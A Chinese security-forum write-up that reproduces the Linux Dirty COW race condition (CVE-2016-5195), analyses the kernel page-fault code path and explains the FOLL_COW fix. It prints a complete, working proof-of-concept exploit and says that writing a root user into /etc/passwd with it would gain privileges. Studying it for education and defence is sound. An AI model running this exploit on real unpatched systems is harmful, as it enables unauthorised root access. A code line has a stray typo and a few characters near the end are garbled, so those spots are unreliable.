吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 5818|回复: 41
收起左侧

[系统底层] [Linux kernel 漏洞复现]CVE-2016-5195

  [复制链接]
peiwithhao 发表于 2023-12-7 10:36

Dirty COW漏洞复现

1.基础知识们

/proc/self/mem穿透

查看官方proc手册

/proc/pid/mem
              This file can be used to access the pages of a process's memory through open(2), read(2), and lseek(2).

              Permission to access this file is governed by a ptrace access mode PTRACE_MODE_ATTACH_FSCREDS check; see ptrace(2).

可以看到说明是被用来访问进程的虚拟内存,我们可以通过常用的几个系统调用来进行访问,但这里注明一般需要有着高等级的权限,例如root用户(但是这里仅使用普通用户却仍然可以成功,因此我们在源码部分再进行详细解读)

这里存在一个神奇的点,那就是我们可以通过该文件系统来写入不可写的内存页面,考虑下面这个poc

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <error.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <unistd.h>

void memwrite(char *dst, char *rsc, int size){
    int proc_mem;
    proc_mem = open("/proc/self/mem", O_RDWR);
    if(proc_mem < 0){
        perror("open mem failed");
        exit(1);
    }
    if(lseek(proc_mem, (size_t)dst, SEEK_SET) == -1){
        perror("lseek failed");
        close(proc_mem);
        exit(1);
    }
    if(write(proc_mem, rsc, size) < 0){
        perror("write failed");
        close(proc_mem);
        exit(1);
    }
    printf("Successfully write to the mem %p\n", dst);
    close(proc_mem);
}

int main()
{   
    size_t *mymap;
    char strange[] = "\x41\x41\x41\x41";
    char interupt = '\xcc';
    mymap = (size_t *)mmap(NULL, 0x9000, PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if(mymap < 0){
        perror("mmap mymap");
        exit(1);
    }
    memwrite((char *)mymap, (charchuan tou *)strange, sizeof(strange));
    printf("mymap content:%s\n", mymap);
    getchar();
    memwrite((char *)getchar, "\xcc", 1);
    getchar();

}

这段代码极其简单,我们首先是通过mmap申请一个内存映射,可以看到我们将这段内存置为仅仅可读,然后我们尝试使用 /proc/self/mem函数向其中写入四个A字符,然后我们又尝试写入共享模块libc当中的函数页面,也就是getchar函数的地址,我们写入了一个 \xcc字符,而这个 \xcc实际上就是一个中断指令,如果我们修改成功,那么下一次调用getchar()内核将会捕获到一个中断信息

Boot took 0.28 seconds

/ # ./poc 
Successfully write to the mem 0x7efd4b963000
mymap content:AAAA

Successfully write to the mem 0x409fb0
Trace/breakpoint trap

上面我们会发现,映射的只读地址却被成功写入,


Question?

十分的奇怪,这里不禁思考,如果每个进程只要权限高点的话,那不是可以随意修改自己的进程空间了吗,那很有可能遭到各种损坏的呀


因特尔手册上面有交代设置控制内核访问内存的能力的标志

Write Protect (bit 16 of CR0) — When set, inhibits supervisor-level procedures from writing into read- only pages; when clear, allows supervisor-level procedures to write into read-only pages (regardless of the U/S bit setting; see Section 4.1.3 and Section 4.6).

也就是十分重要的cr0寄存器上面的第16位 WP(Write Proctect) ,若设置则不允许主管级进程写入用户态的只读页面,而若清除则允许,还有一个就是SMAP,我们常遇到的内核保护标志,这里主要是禁止内核读取或写入用户空间内存,常与他一起的是SMEP

接下来我们来看一下/proc/self/mem的实现,其位于 fs/proc/base.c当中

由于本次复现用到的是 linux-4.4.1的内核,理所当然是看该版本的源码

static const struct file_operations proc_mem_operations = {                       
     .llseek     = mem_lseek,
     .read       = mem_read,
     .write      = mem_write,
     .open       = mem_open,
     .release    = mem_release,
 };  

而其中的read/write指针均指向的是 mem_rw函数

其中比较重要的是 access_remote_vm函数

3649 static int __access_remote_vm(struct task_struct *tsk, struct mm_struct *mm,
3650         unsigned long addr, void *buf, int len, int write)
3651 {
3652     struct vm_area_struct *vma;
3653     void *old_buf = buf;
         ...
3661 
3662         ret = get_user_pages(tsk, mm, addr, 1,
3663                 write, 1, &page, &vma);
3664         if (ret <= 0) {
3665 #ifndef CONFIG_HAVE_IOREMAP_PROT
3666             break;
3667 #else

这里发现大概在5.*版本之后 get_user_pages函数添加了一个wrapper get_user_pages_remote,但这两者区别并不是很大,这个是官方源码注释说的熬,并且据我观察 get_uesr_pages_remote的代码注释跟前面版本的 get_user_pages几乎一样~

这里不得不说一下MMUget_user_pages的区别与相同之处,但可能并不完整:

相同:

  1. MMU与get_user_pages均是通过操作页表来将虚拟地址转换为物理地址

不同:

  1. MMU是硬件实现,因此他会转而去检测一些硬件的东西,例如说我们的CR0寄存器的WP位
  2. get_user_pages是内核的函数实现,他虽然说还是会通过页表遍历来获取物理地址,但并不会去检测cr0寄存器的取值,并且这在目前来看是有点合理的,毕竟内核没必要将用户态传入的虚拟地址再来通过MMU访问一次得到物理地址,他自身就有一个十分“安全”的解决方法

然后内核再将获取到的物理地址通过 kmap函数映射到内核的虚拟地址空间,并且该虚拟地址空间是有着 R/W权限的,所以内核可以正常的读写该页面

因此 /proc/slef/mem就通过这种形式绕过了MMU对于地址的检测,写入了原本用户态定义为不可写的页面

very good               

2.Exploit分析

这里我们直接给出利用的poc,然后依次分析函数的调用情况,该poc最终导致的结果是可以再只读的文件下写入值,这无疑是十分危险的,加入我们向 /etc/passwd文件写入一个root权限的用户,那么就会直接导致提权

#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>

void *map;
int f;
struct stat st;
char *name;

void *madviseThread(void *arg) {
  char *str;
  str=(char*)arg;
  int i,c=0;
  for(i=0;i<100000000;i++) {
    c+=madvise(map,100,MADV_DONTNEED);
  }
  printf("madvise %d\n\n",c);
}

void *procselfmemThread(void *arg) {
  char *str;
  str=(char*)arg;
  int f=open("/proc/self/mem",O_RDWR);
  int i,c=0;
  for(i=0;i<100000000;i++) {
    lseek(f,map,SEEK_SET);
    c+=write(f,str,strlen(str));
  }
  printf("procselfmem %d\n\n", c);
}

int main(int argc,char *argv[]) {
  if (argc<3)return 1;
  pthread_t pth1,pth2;
  f=open(argv[1],O_RDONLY);
  fstat(f,&st);
  name=argv[1];
  map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
  printf("mmap %x\n\n",map);
  pthread_create(&pth1,NULL,madviseThread,argv[1]);
  pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
  pthread_join(pth1,NULL);
  pthread_join(pth2,NULL);
  return 0;
}

我们可以首先看到这里的main函数先打开了我们的 victim file,然后我们利用 mmap函数,这里是将内存中打开的文件映射到我们的用户虚拟地址空间,并且仅仅只有只读权限。

此时开启了两个线程 madviseThread,procselfmemThread,我们首先看第二个线程的实现

第一次page fault

这里他打开了 /proc/self/mem文件,也就是该用户程序的虚拟内存空间,然后不断尝试往映射到的 victim file区域写入我们的第二个参数的值

由于这里是写入的 /proc/self/mem ,因此首先调用的是 mem_write函数,但他实际上就是 mem_rw的wrapper,只是通过标识位区分他们,所以这里直接看 mem_rw

 write->mem_write->mem_rw
    /* @file:将要写入的文件
     * @buf:用户希望写入的字符串
     * @count:写入的字节数
     * @ppos:即将写入的虚拟地址
     * @write:写标志位,这里通过mem_write函数可以看到直接传递的1值
    */

 847 static ssize_t mem_rw(struct file *file, char __user *buf,                                                                                                                              
 848             size_t count, loff_t *ppos, int write)         
 849 {
 850     struct mm_struct *mm = file->private_data;
 851     unsigned long addr = *ppos;
 852     ssize_t copied;
 853     char *page;
         ..............
 873        
 874         this_len = access_remote_vm(mm, addr, page, this_len, write);
 875         if (!this_len) {
 876             if (!copied)
 877                 copied = -EIO;
 878             break;
 879         }

其中访问用户的内存空间主要是依仗该函数 access_remote_vm,接着看

access_remote_vm->__access_remote_vm
3645 /*          
3646  * Access another process' address space as given in mm.  If non-NULL, use the
3647  * given task for page fault accounting.
      * @tsk:从上一级函数可以看到这里实际上传递的NULL
      * @mm:为file->private_data
      * @addr:将要写入的虚拟地址
      * @buf:mem_rw函数当中刚刚使用__get_free_pages获取到的新物理映射到的新内核虚拟地址
      * @len:即将写入的长度
      * @write:同上为1
3648  */         
3649 static int __access_remote_vm(struct task_struct *tsk, struct mm_struct *mm,
3650         unsigned long addr, void *buf, int len, int write)
3651 {
    /*
     * This struct defines a memory VMM memory area. There is one of these
     * per VM-area/task.  A VM area is any part of the process virtual memory
     * space that has a special rule for the page-fault handlers (ie a shared
     * library, the executable area etc). 
     * 这里的注释为结构体(strcut vm_area_struct)
     */
3652     struct vm_area_struct *vma;
3653     void *old_buf = buf;
3654 
        /* lock for reading */
3655     down_read(&mm->mmap_sem);
3656     /* ignore errors, just check how much was successfully transferred */
3657     while (len) {
3658         int bytes, ret, offset;
3659         void *maddr;
3660         struct page *page = NULL;
3661                /* 通过页表来获取addr对应的物理页面,也就是page结构体,这里同样返回了映射到的内核虚拟地址 */
3662         ret = get_user_pages(tsk, mm, addr, 1,
3663                 write, 1, &page, &vma);
3664         if (ret <= 0) {
3665 #ifndef CONFIG_HAVE_IOREMAP_PROT
3666             break;
3667 #else
3668             /*
3669              * Check if this is a VM_IO | VM_PFNMAP VMA, which
3670              * we can access using slightly different code.
3671              */
3672             vma = find_vma(mm, addr);
3673             if (!vma || vma->vm_start > addr)
3674                 break;
3675             if (vma->vm_ops && vma->vm_ops->access)
3676                 ret = vma->vm_ops->access(vma, addr, buf,
3677                               len, write);
3678             if (ret <= 0)
3679                 break;
3680             bytes = ret; 
3681 #endif
3682         } else {
3683             bytes = len;
3684             offset = addr & (PAGE_SIZE-1);
3685             if (bytes > PAGE_SIZE-offset)
3686                 bytes = PAGE_SIZE-offset;
3687 
3688             maddr = kmap(page);
                ...
3705 
3706     return buf - old_buf;
3707 }

这里主要讲解 get_user_pages函数,他是通过用户给出的虚拟地址从页表得到物理地址然后返回,这里传递的特殊的标识符为一个write=1,和force=1,这两个参数在后面体现为 __get_user_pages函数的参数flags=FOLL_GET|FOLL_WRITE|FOLL_FORCE

 855 long get_user_pages(struct task_struct *tsk, struct mm_struct *mm,
 856         unsigned long start, unsigned long nr_pages, int write,
 857         int force, struct page **pages, struct vm_area_struct **vmas)
 858 {
 859     return __get_user_pages_locked(tsk, mm, start, nr_pages, write, force,                                                                                                              
 860                        pages, vmas, NULL, false, FOLL_TOUCH);
 861 }

 /*
  * @tsk:没变化,仍然传递的NULL
  * @mm:同上
  * @start:将要访问的用户虚拟地址
  * @nr_pages:指物理页框的数量,这里是传入来一个恒定的值,1
  * @write:1
  * @force:1
  * @pages:struct page 结构体的指针的地址
  * @vmas:struct vma_area_struct 结构体的指针的地址
  * @locked:传递NULL
  * @notify_drop:传递false
  * @flags:FOLL_TOUCH,值为0x02,官方注释为 mark page accessed
 */
 621 static __always_inline long __get_user_pages_locked(struct task_struct *tsk,
 622                         struct mm_struct *mm,
 623                         unsigned long start,
 624                         unsigned long nr_pages,
 625                         int write, int force,
 626                         struct page **pages,
 627                         struct vm_area_struct **vmas,
 628                         int *locked, bool notify_drop,
 629                         unsigned int flags)
 630 {
 631     long ret, pages_done;
 632     bool lock_dropped;
 633 
         .....
        /*
        #define FOLL_WRITE  0x01    check pte is writable 
        #define FOLL_TOUCH  0x02    mark page accessed
        #define FOLL_GET    0x04    do get_page on page 
        #define FOLL_FORCE  0x10    get_user_pages read/write w/o permission
        因此执行下面的操作后,flags值应该是 FOLL_WRITE|FOLL_TOUCH|FOLL_GET|FOLL_FORCE = 0x17
        */
 640 
 641     if (pages)
 642         flags |= FOLL_GET;
 643     if (write)
 644         flags |= FOLL_WRITE;
 645     if (force)
 646         flags |= FOLL_FORCE;
 647     
 648     pages_done = 0;
 649     lock_dropped = false;
 650     for (;;) {
 651         ret = __get_user_pages(tsk, mm, start, nr_pages, flags, pages,
 652                        vmas, locked);

该函数基本就是加了个锁状态防止同步,接下来我们来看 __get_user_pages

 /*
  * @gup_flags:就是上面的flags,0x17
  * @nonblocking:为之前传递的locked,此时为0
 */
 453 long __get_user_pages(struct task_struct *tsk, struct mm_struct *mm,
 454         unsigned long start, unsigned long nr_pages,
 455         unsigned int gup_flags, struct page **pages,
 456         struct vm_area_struct **vmas, int *nonblocking)
 457 {
 458     long i = 0;
 459     unsigned int page_mask;
 460     struct vm_area_struct *vma = NULL;
 461 
 462     if (!nr_pages)
 463         return 0;
 464 
 465     VM_BUG_ON(!!pages != !!(gup_flags & FOLL_GET));
 466 
 467     /*
 468      * If FOLL_FORCE is set then do not force a full fault as the hinting
 469      * fault information is unrelated to the reference behaviour of a task
 470      * using the address space
          * 如果设置了 FOLL_FORCE,则不要强制发生完整故障,因为提示故障信息与使用地址空间的任务的引用行为无关
 471      */
 472     if (!(gup_flags & FOLL_FORCE))
 473         gup_flags |= FOLL_NUMA;
 474 
 475     do {
                ...
 494             if (!vma || check_vma_flags(vma, gup_flags))
 495                 return i ? : -EFAULT;
 496             if (is_vm_hugetlb_page(vma)) {
 497                 i = follow_hugetlb_page(mm, vma, pages, vmas,
 498                         &start, &nr_pages, i,
 499                         gup_flags);
 500                 continue;
 501             }
 502         }
 503 retry:
 504         /*
 505          * If we have a pending SIGKILL, don't keep faulting pages and
 506          * potentially allocating memory.
 507          */
 508         if (unlikely(fatal_signal_pending(current)))
 509             return i ? i : -ERESTARTSYS;
 510         cond_resched();
 511         page = follow_page_mask(vma, start, foll_flags, &page_mask);
 512         if (!page) {
 513             int ret;
 514             ret = faultin_page(tsk, vma, start, &foll_flags,
 515                     nonblocking);
 516             switch (ret) {
 517             case 0:
 518                 goto retry;
 519             case -EFAULT:                                                                        
 520             case -ENOMEM:
 521             case -EHWPOISON:
 522                 return i ? i : ret;
 523             case -EBUSY:
 524                 return i;
 525             case -ENOENT:
 526                 goto next_page;
 527             }
 528             BUG();
 529         } else if (PTR_ERR(page) == -EEXIST) {
 530             /*
 531              * Proper page table entry exists, but no corresponding
 532              * struct page.
 533              */
 534             goto next_page;
 535         } else if (IS_ERR(page)) {
 536             return i ? i : PTR_ERR(page);
 537         }
 538         if (pages) {
 539             pages[i] = page;
 540             flush_anon_page(vma, page, start);
 541             flush_dcache_page(page);
 542             page_mask = 0;
 543         }
 544 next_page:
 545         if (vmas) {
 546             vmas[i] = vma;
 547             page_mask = 0;
 548         }
 549         page_increm = 1 + (~(start >> PAGE_SHIFT) & page_mask);
 550         if (page_increm > nr_pages)
 551             page_increm = nr_pages;
 552         i += page_increm;
 553         start += page_increm * PAGE_SIZE;
 554         nr_pages -= page_increm;
 555     } while (nr_pages);
 556     return i;
 557 }

该函数前面的部分体现了为什么要加上 FOLL_FORCE这个参数,当我们执行到一个检测函数 check_vma_flags的时候,如下:

 359 static int check_vma_flags(struct vm_area_struct *vma, unsigned long gup_flags)
 360 {
 361     vm_flags_t vm_flags = vma->vm_flags;
 362 
 363     if (vm_flags & (VM_IO | VM_PFNMAP))
 364         return -EFAULT;
 365 
 366     if (gup_flags & FOLL_WRITE) {
 367         if (!(vm_flags & VM_WRITE)) {
 368             if (!(gup_flags & FOLL_FORCE))
 369                 return -EFAULT;
 370             /*
 371              * We used to let the write,force case do COW in a
 372              * VM_MAYWRITE VM_SHARED !VM_WRITE vma, so ptrace could
 373              * set a breakpoint in a read-only mapping of an
 374              * executable, without corrupting the file (yet only
 375              * when that file had been opened for writing!).
 376              * Anon pages in shared mappings are surprising: now
 377              * just reject it.
 378              */
 379             if (!is_cow_mapping(vm_flags)) {
 380                 WARN_ON_ONCE(vm_flags & VM_MAYWRITE);
 381                 return -EFAULT;
 382             }
        ...
 394     return 0;
 395 }

这里可以看到如果我们设置force参数,这样这里就不会报错

这里接着讲回到 __get_user_pages的retry部分,首先是通过follow_page_mask函数来获取对应用户虚拟地址所映射到的物理地址

 164 /**
 165  * follow_page_mask - look up a page descriptor from a user-virtual address
 166  * @vma: vm_area_struct mapping @address
 167  * @address: virtual address to look up
 168  * @flags: flags modifying lookup behaviour
 169  * @page_mask: on output, *page_mask is set according to the size of the page
 170  *
 171  * @flags can have FOLL_ flags set, defined in <linux/mm.h>
 172  *
 173  * Returns the mapped (struct page *), %NULL if no mapping exists, or                                                                                                                   
 174  * an error pointer if there is a mapping to something not represented
 175  * by a page descriptor (see also vm_normal_page()).
 176  */
 177 struct page *follow_page_mask(struct vm_area_struct *vma,                                         
 178                   unsigned long address, unsigned int flags,
 179                   unsigned int *page_mask)
 180 {
 181     pgd_t *pgd;
 182     pud_t *pud;
 183     pmd_t *pmd;
 184     spinlock_t *ptl;
 185     struct page *page;
 186     struct mm_struct *mm = vma->vm_mm;
 177 struct page *follow_page_mask(struct vm_area_struct *vma,                                                                                                                               
 178                   unsigned long address, unsigned int flags,
 179                   unsigned int *page_mask)
 180 {
 181     pgd_t *pgd;
 182     pud_t *pud;
 183     pmd_t *pmd;
 184     spinlock_t *ptl;
 185     struct page *page;
 186     struct mm_struct *mm = vma->vm_mm;
 221     if ((flags & FOLL_NUMA) && pmd_protnone(*pmd))
 222         return no_page_table(vma, flags);
 223     if (pmd_trans_huge(*pmd)) {                                                                             .....                                                                                    

 243     return follow_page_pte(vma, address, pmd, flags);
 244 }

可以通过注释快速了解函数的作用,最后是调用 follow_page_pte来从页表项当中获取虚拟地址映射到的物理地址,首先我们可以知道我们第一次访问mmap所建立的物理映射的时候,他并没有体现在页表当中,而是会触发我们的PAGE FAULT处理函数,然后才是真正建立了页表的映射,所以该函数 follow_page_mask也必定会返回NULL值,我们同样可以通过调试来确定这一点

接下来查看 follow_page_pte函数,如下:

 61 static struct page *follow_page_pte(struct vm_area_struct *vma,
  62         unsigned long address, pmd_t *pmd, unsigned int flags)
  63 {
  64     struct mm_struct *mm = vma->vm_mm;
  65     struct page *page;
  66     spinlock_t *ptl;
  67     pte_t *ptep, pte;
  68 
  69 retry:
  70     if (unlikely(pmd_bad(*pmd)))                                                        
  71         return no_page_table(vma, flags);
  72 
  73     ptep = pte_offset_map_lock(mm, pmd, address, &ptl);
  74     pte = *ptep;
         .....
  95     if ((flags & FOLL_WRITE) && !pte_write(pte)) {
  96         pte_unmap_unlock(ptep, ptl);
  97         return NULL;
  98     }
  99 

由于我们mmap映射到的用户虚拟地址是第一次访问,因此还并没有在页表上面建立映射,所以这里得到的pte(page_table_entry)也必定为0

得知返回值为0我们继续分析 __get_user_pages 的retry

 503 retry:
 504         /*
 505          * If we have a pending SIGKILL, don't keep faulting pages and
 506          * potentially allocating memory.
 507          */
 508         if (unlikely(fatal_signal_pending(current)))
 509             return i ? i : -ERESTARTSYS;
 510         cond_resched();
 511         page = follow_page_mask(vma, start, foll_flags, &page_mask);
 512         if (!page) {
 513             int ret;
 514             ret = faultin_page(tsk, vma, start, &foll_flags,
 515                     nonblocking);
.......

若page为0,则会调用 faultin_page函数

 290 /*
 291  * mmap_sem must be held on entry.  If @nonblocking != NULL and
 292  * *@flags does not include FOLL_NOWAIT, the mmap_sem may be released.
 293  * If it is, *@nonblocking will be set to 0 and -EBUSY returned.
 294  */     
 295 static int faultin_page(struct task_struct *tsk, struct vm_area_struct *vma,
 296         unsigned long address, unsigned int *flags, int *nonblocking)
 297 {
 298     struct mm_struct *mm = vma->vm_mm;
 299     unsigned int fault_flags = 0;
 300     int ret;
         ......
 310     if (*flags & FOLL_WRITE)
 311         fault_flags |= FAULT_FLAG_WRITE;
         ......
 320 
 321     ret = handle_mm_fault(mm, vma, address, fault_flags);
         ......

看到这里的faultin_page函数由于你传入的标识为有 FOLL_WRITE,因此他给 fault_flags加上了 FAULT_FLAG_WRITE标识位,也就是说 fault_flags=1

然后调用handle_mm_fault->__handle_mm_fault->handle_pte_fault

3272 static int handle_pte_fault(struct mm_struct *mm,
3273              struct vm_area_struct *vma, unsigned long address,
3274              pte_t *pte, pmd_t *pmd, unsigned int flags)
3275 {
         .......
3287     entry = *pte;
3288     barrier();
3289     if (!pte_present(entry)) {
3290         if (pte_none(entry)) {
3291             if (vma_is_anonymous(vma))
3292                 return do_anonymous_page(mm, vma, address,
3293                              pte, pmd, flags);
3294             else
3295                 return do_fault(mm, vma, address, pte, pmd,
3296                         flags, entry);
3297         }
        .......

由于这是我们第一次处理缺页异常,因此这里获取到的pte是空,因此会进入下面的判断,而由于我们在创建mmap映射的时候,传递的flag参数为 PROT_READ|MAP_PRIVATE,所以这里并不会调用 do_anonymouse_page,因此会紧接着调用 do_fault函数

3108 /*
3109  * We enter with non-exclusive mmap_sem (to exclude vma changes,
3110  * but allow concurrent faults).
3111  * The mmap_sem may have been released depending on flags and our
3112  * return value.  See filemap_fault() and __lock_page_or_retry().
3113  */ 
3114 static int do_fault(struct mm_struct *mm, struct vm_area_struct *vma,
3115         unsigned long address, pte_t *page_table, pmd_t *pmd,
3116         unsigned int flags, pte_t orig_pte)
3117 {
3118     pgoff_t pgoff = (((address & PAGE_MASK)
3119             - vma->vm_start) >> PAGE_SHIFT) + vma->vm_pgoff;
3120 
3121     pte_unmap(page_table);
3122     /* The VMA was not fully populated on mmap() or missing VM_DONTEXPAND */
3123     if (!vma->vm_ops->fault)
3124         return VM_FAULT_SIGBUS;
3125     if (!(flags & FAULT_FLAG_WRITE))
3126         return do_read_fault(mm, vma, address, pmd, pgoff, flags,
3127                 orig_pte);
3128     if (!(vma->vm_flags & VM_SHARED))
3129         return do_cow_fault(mm, vma, address, pmd, pgoff, flags,
3130                 orig_pte);
3131     return do_shared_fault(mm, vma, address, pmd, pgoff, flags, orig_pte);
3132 }

这里可以看到,由于我们flags仅仅为 FAULT_FLAG+WRITE,并且我们的vmflags没有 VM_SHARED(这是因为我们创建映射的时候是MAP_PRIVATE,也就是私有映射),所以会调用 do_cow_fault

do_cow_fault的功能首先获取一个新的页面 new_page,然后调用 __do_fault函数来将page cache中关于文件的映射部分复制到fault_page当中(获取fault_page体现在 find_get_page函数当中,他会返回我们的page cache page,这里会增加引用计数的,所以不要担心释放的问题 ),然后调用函数 copy_user_highpage 将fault_page的内容复制到new_page当中,最后释放fault_page,然后就开始与虚拟地址在页表当中建立映射,调用 do_set_pte

2810 void do_set_pte(struct vm_area_struct *vma, unsigned long address,                      
2811         struct page *page, pte_t *pte, bool write, bool anon)
2812 {
2813     pte_t entry;
2814 
2815     flush_icache_page(vma, page);
2816     entry = mk_pte(page, vma->vm_page_prot);
2817     if (write)
            /* 这里注意带了个脏位 */
2818         entry = maybe_mkwrite(pte_mkdirty(entry), vma);
2819     if (anon) {
2820         inc_mm_counter_fast(vma->vm_mm, MM_ANONPAGES);
2821         page_add_new_anon_rmap(page, vma, address);
2822     } else {
2823         inc_mm_counter_fast(vma->vm_mm, MM_FILEPAGES);
2824         page_add_file_rmap(page);
2825     }   
2826     set_pte_at(vma->vm_mm, address, pte, entry);
2827         
2828     /* no need to invalidate: a not-present page won't be cached */
2829     update_mmu_cache(vma, address, pte);
2830 }

由于我们传入的参数当中是写错误,所以这里会调用 maybe_mkwrite或者写入可写位,这里继续跟进

 572 static inline pte_t maybe_mkwrite(pte_t pte, struct vm_area_struct *vma)                
 573 {   
 574     if (likely(vma->vm_flags & VM_WRITE))
 575         pte = pte_mkwrite(pte);
 576     return pte;
 577 }       

可以看到,如果说我们的vm_flags存在可写标识,那么就会将该pte的可写位置上,否则就不管,现在大火可能懂了为什么是“或者写“了,经过这一段操作,会制造成下面这种情况

第二次page fault

从上面的 do_cow_fault函数一路返回0,然后再次到达 __get_user_pages函数的retry部分,再一次调用 follow_page_mask函数来寻找pte,当我们一路走到 follow_page_pte函数的时候,这时会有个判断

  95     if ((flags & FOLL_WRITE) && !pte_write(pte)) {
  96         pte_unmap_unlock(ptep, ptl);
  97         return NULL;
  98     }     

我们此时传入的flags仍然带有 FOLL_WRITE参数,然后他会检查我们刚刚创建的pte是否有可写标识,但看我们上面的图是明显没有的,因此这里会再次返回NULL,我们即将迎来第二次page fault

而此次根据我们pte的标识,进入 handle_page_pte函数最终会走到下面这一段,调用 do_wp_page

3309     if (flags & FAULT_FLAG_WRITE) {                                                     
3310         if (!pte_write(entry))
3311             return do_wp_page(mm, vma, address,
3312                     pte, pmd, ptl, entry);
3313         entry = pte_mkdirty(entry);
3314     }

由于我们的页面是可交换和重用的,然后会调用到下面的这一段,这一段是 do_wp_page的一部分

2330         if (reuse_swap_page(old_page)) {
2331             /*
2332              * The page is all ours.  Move it to our anon_vma so
2333              * the rmap code will not search our parent or siblings.
2334              * Protected against the rmap code by the page lock.
2335              */
2336             page_move_anon_rmap(old_page, vma, address);
2337             unlock_page(old_page);
2338             return wp_page_reuse(mm, vma, address, page_table, ptl,                     
2339                          orig_pte, old_page, 0, 0);
2340         }

然后我们再看 wp_page_reuse函数,注意到这里的返回值

1993 static inline int wp_page_reuse(struct mm_struct *mm,
1994             struct vm_area_struct *vma, unsigned long address,
1995             pte_t *page_table, spinlock_t *ptl, pte_t orig_pte,
1996             struct page *page, int page_mkwrite,
1997             int dirty_shared)
1998     __releases(ptl)
1999 {
            .....
2041     return VM_FAULT_WRITE;
2042 }

这个返回值是关键,这里一路返回到 faultin_page函数,

 295 static int faultin_page(struct task_struct *tsk, struct vm_area_struct *vma,
 296         unsigned long address, unsigned int *flags, int *nonblocking)
 297 {

          ........
 345     /*
 346      * The VM_FAULT_WRITE bit tells us that do_wp_page has broken COW when
 347      * necessary, even if maybe_mkwrite decided not to set pte_write. We
 348      * can thus safely do subsequent page lookups as if they were reads.
 349      * But only do so when looping for pte_write is futile: in some cases
 350      * userspace may also be wanting to write to the gotten user page,
 351      * which a read fault here might prevent (a readonly page might get
 352      * reCOWed by userspace write).
 353      */
 354     if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))
 355         *flags &= ~FOLL_WRITE;
 356     return 0;
 357 }

可以看到他是将我们传递的flags的 FOLL_WRITE标志位给去掉了,还记得我们最初的标志位吗 FOLL_GET|FOLL_WRITE|FOLL_FORCE

然后我们继续返回0,此时再一次准备 __get_user_pagesretry部分,但是这里注意,我们的第二个线程实际上在悄悄偷跑,接下来就真正涉及到了条件竞争的利用

第三次page fault

由於這是我們再一次到達__get_user_pages函數的retry,如下

 503 retry:
 504         /*
 505          * If we have a pending SIGKILL, don't keep faulting pages and
 506          * potentially allocating memory.
 507          */
 508         if (unlikely(fatal_signal_pending(current)))
 509             return i ? i : -ERESTARTSYS;
 510         cond_resched();
 511         page = follow_page_mask(vma, start, foll_flags, &page_mask);
 512         if (!page) {
 513             int ret;
 514             ret = faultin_page(tsk, vma, start, &foll_flags,
 515                     nonblocking);
 516             switch (ret) {
 517             case 0:
 518                 goto retry;
 519             case -EFAULT:
 520             case -ENOMEM:

這裏有一個 cond_resched函數,該函數會將CPU交給寧外一個任務,這裏就導致了我們的條件競爭,如果說這裏我們的第二各線程調用madvise系統調用,並帶上 DONTNEED參數,他會將對應的內存映射解除,所謂映射解除,也就僅僅是將我們的pte解除綁定而已,如下:

然後我們繼續進入 follow_page_mask->follow_page_pte函數,此時我們可以知道map映射是存在pte的,且標誌位爲 rdonly和dirty,並且我們訪問的flags由於消除掉了 FOLL_WRITE,這樣會導致他變爲 FOLL_GET|FOLL_FORCE,並且注意這裏的pte PRSENT位也消失掉,這是因爲你物理映射都沒了,你這個pte也應該標識爲沒用,所以這裏我們的 follow_page_mask函數仍然返回空,這裏會進入到第三次缺頁錯誤,調用 faultin_page函數

但是這一次的page fault同之前有區別,區別在與我們的flags並不帶上 FOLL_WRITE,這裏說明了並不是寫操作,那除了寫不就是read?

實際情況跟我們想得一樣,我們會依次調用

faultin_page
    handle_mm_fault
        __handle_mm_fault
            handle_pte_fault
                do_fault
                    do_read_fault

而既然我們現在是寫轉讀,內核發現這是各讀請求,那就沒必要進行COW,直接將page cache中對應文件的page頁面直接返回,然後我們再次回到 __get_user_pages函數,此時返回的page直接就是我們的page cache,然後再調用kmap來在內核進行映射,然後緊接着進行 __access_remote_vm的過程

這樣當我們寫操作直接將會寫入page cache,並且在最後會由於 kernel page table的頁表項存在髒位,這也會導致在某次磁盤同步的時候將對應修改的文件寫會到磁盤,這也導致了我們對於一個僅僅可讀的文件寫入的Dirty COW漏洞

3.修復

Dirty Cow 補丁

這裏添加了名爲 FOLL_COW的新標識爲,使得我們在調用 do_wp_fault函數之後會使得他並不清除掉 FOLL_WRITE位,而是新增一個標記爲 FOLL_COW用來標識該頁面是一個COW頁,這樣就可以使得我們之後不會以讀的請求來調用 faultin_page函數

有同學或許可能有疑問,既然我們的 /proc/self/mem函數已經可以寫入進程所映射到的可讀空間了,那爲什麼還要第二各madvise線程呢,這是因爲雖然我們可以確實修改進程當中所映射到的文件物理內存,但這個物理內存是通過COW獲取道德新物理內存,他並不會再寫回到文件系統,而是隨着進程咝型戤叾А? ,而調用第二個線程可以使得我們直接操作page cache當中直接映射到的文件頁面,並且由於kmap自動爲內核頁表項帶上RD/WR位和dirty位,這使得在之後的同步階段會將這個物理地址寫回到磁盤

免费评分

参与人数 14威望 +2 吾爱币 +111 热心值 +12 收起 理由
jim2g + 1 我很赞同!
ytfh1131 + 1 + 1 谢谢@Thanks!
ironmanxxl + 1 + 1 热心回复!
merky + 1 用心讨论,共获提升!
Ruomeng + 1 热心回复!
Fuzz + 1 + 1 谢谢@Thanks!
10v01 + 1 用心讨论,共获提升!
zd53011 + 1 谢谢@Thanks!
allspark + 1 + 1 用心讨论,共获提升!
杨辣子 + 1 + 1 热心回复!
fengbolee + 2 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
willJ + 2 + 100 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
cick + 1 + 1 有一种看懂,叫做我以为。
MemSky729 + 1 + 1 用心讨论,共获提升!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

goblack 发表于 2023-12-10 03:49
这是大洞,影响比较大的。
所以保持系统补丁升级更新,使用在维护周期内的操作系统的必要性。
自己维护系统难免疏漏,且工程量巨大。
qqycra 发表于 2023-12-7 12:10
Y0uD1 发表于 2023-12-7 12:43
